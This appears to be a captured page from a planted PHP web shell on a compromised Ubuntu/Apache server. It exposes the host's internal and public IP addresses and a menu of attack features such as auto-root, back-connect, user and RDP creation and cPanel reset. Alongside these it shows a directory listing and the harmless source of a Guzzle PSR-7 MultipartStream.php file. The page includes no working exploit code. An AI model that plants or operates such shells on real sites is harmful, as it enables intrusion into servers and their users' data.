Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 52.14.189.148
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz2 /
vendor /
guzzlehttp /
psr7 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Exception
[ DIR ]
drwxrwxr-x
AppendStream.php
5.84
KB
-rw-rw-r--
BufferStream.php
3.17
KB
-rw-rw-r--
CachingStream.php
4.48
KB
-rw-rw-r--
DroppingStream.php
1.17
KB
-rw-rw-r--
FnStream.php
4.4
KB
-rw-rw-r--
Header.php
3.84
KB
-rw-rw-r--
HttpFactory.php
3.02
KB
-rw-rw-r--
InflateStream.php
1.36
KB
-rw-rw-r--
LazyOpenStream.php
1.06
KB
-rw-rw-r--
LimitStream.php
4.2
KB
-rw-rw-r--
Message.php
8.13
KB
-rw-rw-r--
MessageTrait.php
7.57
KB
-rw-rw-r--
MimeType.php
52.9
KB
-rw-rw-r--
MultipartStream.php
4.92
KB
-rw-rw-r--
NoSeekStream.php
524
B
-rw-rw-r--
PumpStream.php
4.5
KB
-rw-rw-r--
Query.php
3.57
KB
-rw-rw-r--
Request.php
3.81
KB
-rw-rw-r--
Response.php
4.79
KB
-rw-rw-r--
Rfc7230.php
665
B
-rw-rw-r--
ServerRequest.php
9.4
KB
-rw-rw-r--
Stream.php
7.23
KB
-rw-rw-r--
StreamDecoratorTrait.php
3.28
KB
-rw-rw-r--
StreamWrapper.php
4.01
KB
-rw-rw-r--
UploadedFile.php
4.75
KB
-rw-rw-r--
Uri.php
21.36
KB
-rw-rw-r--
UriComparator.php
1.12
KB
-rw-rw-r--
UriNormalizer.php
8.22
KB
-rw-rw-r--
UriResolver.php
8.36
KB
-rw-rw-r--
Utils.php
15.2
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MultipartStream.php
<?php declare(strict_types=1); namespace GuzzleHttp\Psr7; use Psr\Http\Message\StreamInterface; /** * Stream that when read returns bytes for a streaming multipart or * multipart/form-data stream. */ final class MultipartStream implements StreamInterface { use StreamDecoratorTrait; /** @var string */ private $boundary; /** @var StreamInterface */ private $stream; /** * @param array $elements Array of associative arrays, each containing a * required "name" key mapping to the form field, * name, a required "contents" key mapping to a * StreamInterface/resource/string, an optional * "headers" associative array of custom headers, * and an optional "filename" key mapping to a * string to send as the filename in the part. * @param string $boundary You can optionally provide a specific boundary * * @throws \InvalidArgumentException */ public function __construct(array $elements = [], string $boundary = null) { $this->boundary = $boundary ?: bin2hex(random_bytes(20)); $this->stream = $this->createStream($elements); } public function getBoundary(): string { return $this->boundary; } public function isWritable(): bool { return false; } /** * Get the headers needed before transferring the content of a POST file * * @param array<string, string> $headers */ private function getHeaders(array $headers): string { $str = ''; foreach ($headers as $key => $value) { $str .= "{$key}: {$value}\r\n"; } return "--{$this->boundary}\r\n" . trim($str) . "\r\n\r\n"; } /** * Create the aggregate stream that will be used to upload the POST data */ protected function createStream(array $elements = []): StreamInterface { $stream = new AppendStream(); foreach ($elements as $element) { if (!is_array($element)) { throw new \UnexpectedValueException("An array is expected"); } $this->addElement($stream, $element); } // Add the trailing boundary with CRLF $stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n")); return $stream; } private function addElement(AppendStream $stream, array $element): void { foreach (['contents', 'name'] as $key) { if (!array_key_exists($key, $element)) { throw new \InvalidArgumentException("A '{$key}' key is required"); } } $element['contents'] = Utils::streamFor($element['contents']); if (empty($element['filename'])) { $uri = $element['contents']->getMetadata('uri'); if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') { $element['filename'] = $uri; } } [$body, $headers] = $this->createElement( $element['name'], $element['contents'], $element['filename'] ?? null, $element['headers'] ?? [] ); $stream->addStream(Utils::streamFor($this->getHeaders($headers))); $stream->addStream($body); $stream->addStream(Utils::streamFor("\r\n")); } private function createElement(string $name, StreamInterface $stream, ?string $filename, array $headers): array { // Set a default content-disposition header if one was no provided $disposition = $this->getHeader($headers, 'content-disposition'); if (!$disposition) { $headers['Content-Disposition'] = ($filename === '0' || $filename) ? sprintf( 'form-data; name="%s"; filename="%s"', $name, basename($filename) ) : "form-data; name=\"{$name}\""; } // Set a default content-length header if one was no provided $length = $this->getHeader($headers, 'content-length'); if (!$length) { if ($length = $stream->getSize()) { $headers['Content-Length'] = (string) $length; } } // Set a default Content-Type if one was not supplied $type = $this->getHeader($headers, 'content-type'); if (!$type && ($filename === '0' || $filename)) { if ($type = MimeType::fromFilename($filename)) { $headers['Content-Type'] = $type; } } return [$stream, $headers]; } private function getHeader(array $headers, string $key) { $lowercaseHeader = strtolower($key); foreach ($headers as $k => $v) { if (strtolower($k) === $lowercaseHeader) { return $v; } } return null; } }
Close